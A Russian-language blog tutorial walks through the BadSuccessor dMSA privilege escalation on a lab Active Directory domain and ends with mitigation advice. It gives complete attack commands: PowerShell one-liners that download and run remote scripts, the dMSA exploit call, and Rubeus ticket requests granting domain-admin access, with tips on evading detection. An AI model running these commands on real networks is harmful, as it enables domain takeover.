Найти в Дзене
Life-Hack - Хакер

BadSuccessor (dMSA): скрытное повышение привилегий

BadSuccessor (dMSA) - опасная уязвимость в Windows Active Directory, позволяющая злоумышленникам повысить привилегии и захватить домен. Используя неправильно сконфигурированные управляемые учетные записи служб (dMSA), можно получить несанкционированный административный доступ и обойти системы обнаружения, что делает данную уязвимость критической угрозой для корпоративных сетей. Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума! Уязвимость появилась благодаря новой особенности Windows Server 2025 — Delegated Managed Service Accounts (dMSA). Она позволяет повысить привилегии и захватить домен через неправильно сконфигурированные управляемые учетные записи служб. Эксплуатация возможна из-за: Примечание: Данная уязвимость служит ярким примером того, как "безобидное" делегирование прав может повлечь полную компрометацию домена. 1. Windows Server 2019, выступающий в роли контроллера домена Active Directory с поддержкой PKINIT. 2.
Оглавление

BadSuccessor (dMSA) - опасная уязвимость в Windows Active Directory, позволяющая злоумышленникам повысить привилегии и захватить домен. Используя неправильно сконфигурированные управляемые учетные записи служб (dMSA), можно получить несанкционированный административный доступ и обойти системы обнаружения, что делает данную уязвимость критической угрозой для корпоративных сетей.

Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!

Суть атаки

Уязвимость появилась благодаря новой особенности Windows Server 2025 — Delegated Managed Service Accounts (dMSA). Она позволяет повысить привилегии и захватить домен через неправильно сконфигурированные управляемые учетные записи служб.

Эксплуатация возможна из-за:

  • Слабых списков управления доступом (ACL) организационных единиц (OU): Атакующие с низкими привилегиями, обладающие write правами на OU, могут создавать или изменять dMSA.
  • Атрибуты msDS-DelegatedMSAState и msDS-ManagedAccountPrecededByLink: Позволяют связывать dMSA с привилегированными учетными записями.
  • Особенностей протокола Kerberos: Поддельные dMSA наследуют контекст безопасности связанной привилегированной учетной записи, позволяя атакующему получать билеты Kerberos (TGT/TGS) уровня доменного администратора.

Примечание: Данная уязвимость служит ярким примером того, как "безобидное" делегирование прав может повлечь полную компрометацию домена.

Условия

1. Windows Server 2019, выступающий в роли контроллера домена Active Directory с поддержкой PKINIT.

2. Доменная среда должна иметь настроенную службу сертификатов Active Directory (ADCS) и удостоверяющий центр (CA).

3. Kali Linux с установленным набором инструментов.

4. Инструменты: Rubeus, Sharpsuccessor, BadSuccessor.

Настройка стенда

Создаем низко-привилегированную учетную запись пользователя командой:

net user shivam Password@1 /add /domain

Создание OU (HACKME):

В консоли управления Active Directory Users and Computers (ADUC):

1. Щелкните правой кнопкой мыши на контейнере "local".

2. Выберите пункт меню "New" → "Organizational Unit".

-2

3. Назовите её: HACKME

4. Нажмите ОК

-3

Создание подконтрольной организационной единицы (OU), такой как HACKME, позволяет атакующему управлять своим dMSA, не затрагивая более защищённые или мониторящиеся OU. Такая изоляция помогает избежать обнаружения.

Предоставление прав записи пользователю shivam на OU

В ADUC выполните следующее:

Правый клик на HACKME → Свойства → Безопасность → Дополнительно

-4

Выберите пользователя shivam и предоставьте ему право на запись («Write»), и право создавать любые дочерние объекты («Rights to Create All Child Objects»).

-5

Делегированный доступ является критическим требованием для атаки BadSuccessor, позволяя пользователю shivam изменять настройки управляемых сервисных аккаунтов (dMSA).

Поиск и эксплуатация

Выполните следующую команду в PowerShell:

iex(new-object net.webclient).DownloadString("https://raw.githubusercontent.com/LuemmelSec/Pentest-Tools-Collection/refs/heads/main/tools/ActiveDirectory/BadSuccessor.ps1")
BadSuccessor -mode check -Domain ignite.local

Эта команда загружает модуль BadSuccessor для проверки конфигурации домена на предмет наличия уязвимых мест и возможности злоупотребления настройками dMSA.

-6

Следующая команда проводит аудит разрешений на уровне организационных единиц (OU), выявляя места, где пользователи имеют необходимые права для создания или изменения управляемых сервисных аккаунтов (dMSA), подтверждая потенциальную возможность атаки.

Выполните следующую команду:

iex(new-object net.webclient).DownloadString("https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1")
-7

Эксплуатация: Создание dMSA и привязка его к аккаунту администратора

Следующая команда создает управляемую сервисную учетную запись (dMSA) с именем BAD_DMSA и связывает её с административным аккаунтом путем модификации соответствующих атрибутов, заставляя Active Directory воспринимать BAD_DMSA как наследника полномочий администратора.

BadSuccessor -mode exploit -Path "OU=HACKME,DC=ignite,DC=local" -Name "BAD_DMSA" -DelegateAdmin "shivam" -DelegateTarget "Administrator" -domain "ignite.local"
-8

Давайте разберём процесс атаки:

Шаг 1. Пользователь shivam создает OU (HACKME), на который у него есть права записи.

Шаг 2. Создает управляемую сервисную учетную запись (dMSA) с названием BAD_DMSA.

Шаг 3. Изменяет атрибуты учетной записи:

- Устанавливает значение атрибута msDS-DelegatedMSAState равным 2 (активно),

- Присваивает атрибуту msDS-ManagedAccountPrecededByLink значение (DN) Администратора.

Шаг 4. Active Directory воспринимает BAD_DMSA как легитимного преемника административного аккаунта.

Результат: BAD_DMSA наследует полномочия Администратора, позволяя повысить привилегии без взлома хэшей или сброса пароля.

Примечание: Никаких операций с паролями, SIDHistory и золотых билетов, толкьо манипуляция внутри доверенной атакующему OU.

Проверяем доступ к конфиденциальному сетевому ресурсу:

dir \\\\srv25.ignite.local\\c$
-9

Ожидаемый результат: Доступ запрещён

Закрепляем связь dMSA с помощью SharpSuccessor

.\\SharpSuccessor.exe add /impersonate:Administrator /path:"ou=HACKME,dc=ignite,dc=local" /account:shivam /name:BAD_DMSA

SharpSuccessor укрепляет связь между BAD_DMSA и учетной записью администратора.

-10

Запрашиваем Delegation TGT с помощью Rubeus

.\\Rubeus.exe tgtdeleg /nowrap

На данном этапе мы запрашиваем TGT (Ticket Granting Ticket) с разрешением на делегирование.

-11

Получение TGT от имени BAD_DMSA

.\\Rubeus.exe asktgt /targetuser:BAD_DMSA$ /service:krbtgt/ignite.local /opsec /dmsa /nowrap /ptt /ticket:doIFjdCCX...

Здесь мы запрашиваем TGT билет, включающий привилегии администратора, обходя стандартные механизмы контроля доступа.

-12

Рассмотрим подробнее, как работает этот механизм:

Шаг 1: Пользователь shivam с помощью инструмента Rubeus запрашивает билет TGT от имени BAD_DMSA.

Шаг 2: Контроллер домена проверяет атрибуты BAD_DMSA и обнаруживает ссылку на учетную запись Администратор.

Шаг 3: PAC содержит идентификаторы безопасности (SID) и привилегии Администратора.

Шаг 4: Атакующий использует полученный TGT билет для запроса сервисных билетов (например, для CIFS).

Шаг 5: Служба предоставляет доступ с правами доменного администратора.

Результат: Полный контроль над доменом.

Данная техника помогает уклониться от стандартных решений мониторинга, которые фиксируют повышение привилегий через сброс паролей или инъекцию SIDHistory.

-13

Используя Rubeus, мы запрашиваем TGS билет (Ticket Granting Service) для доступа к службе CIFS на файловом сервере, выполнив следующую команду:

.\\Rubeus.exe asktgs /user:BAD_DMSA$ /service:cifs/srv25.ignite.local /opsec /dmsa /nowrap /ptt /ticket:doIFzDCCBigAw...

Мы используем учетную запись BAD_DMSA$, обладающую теперь привилегиями администратора, чтобы запросить TGS билет для доступа к службе CIFS на файловом сервере. Благодаря PAC, этот билет предоставляет доступ с правами администратора, открывая возможности для дальнейших действий или горизонтального перемещения.

Ниже приведено изображение, показывающее подробности выданного билета (TGS) для cifs/srv25.ignite.local.

Основные характеристики:

- Флаги билета: "forwardable", "ok as delegate" и "renewable", подтверждают полную функциональность билета.

- PAC: отображает идентификаторы безопасности (SIDs) и членство в группах администратора, что подтверждает наследование привилегий.

- Целевая служба: cifs/srv25.ignite.local — билет действует для доступа к файловым службам CIFS.

-15

Подтверждение доступа с административными правами

dir \\\\srv25.ignite.local\\c$

Команда доказывает возможность доступа к файловой системе указанного компьютера с правами администратора домена.

-16

Рекомендации:

- Ограничьте права на создание объектов (CreateChild) и изменение списков ACL (WriteDACL) на организационные подразделения (OU).

- Регулярно отслеживайте изменения значений атрибутов msDS-DelegatedMSAState и msDS-ManagedAccountPrecededByLink (события Event ID 5136, 4662).

- Периодически проводите аудиты настроек и разрешений dMSA.

- По возможности отключите неиспользуемую функциональность dMSA (если она не используется).

Источник статьи

Подпишись на наш канал в телеграме и в Max, там ты найдешь огромное кол-во качественного контента, без инфошума!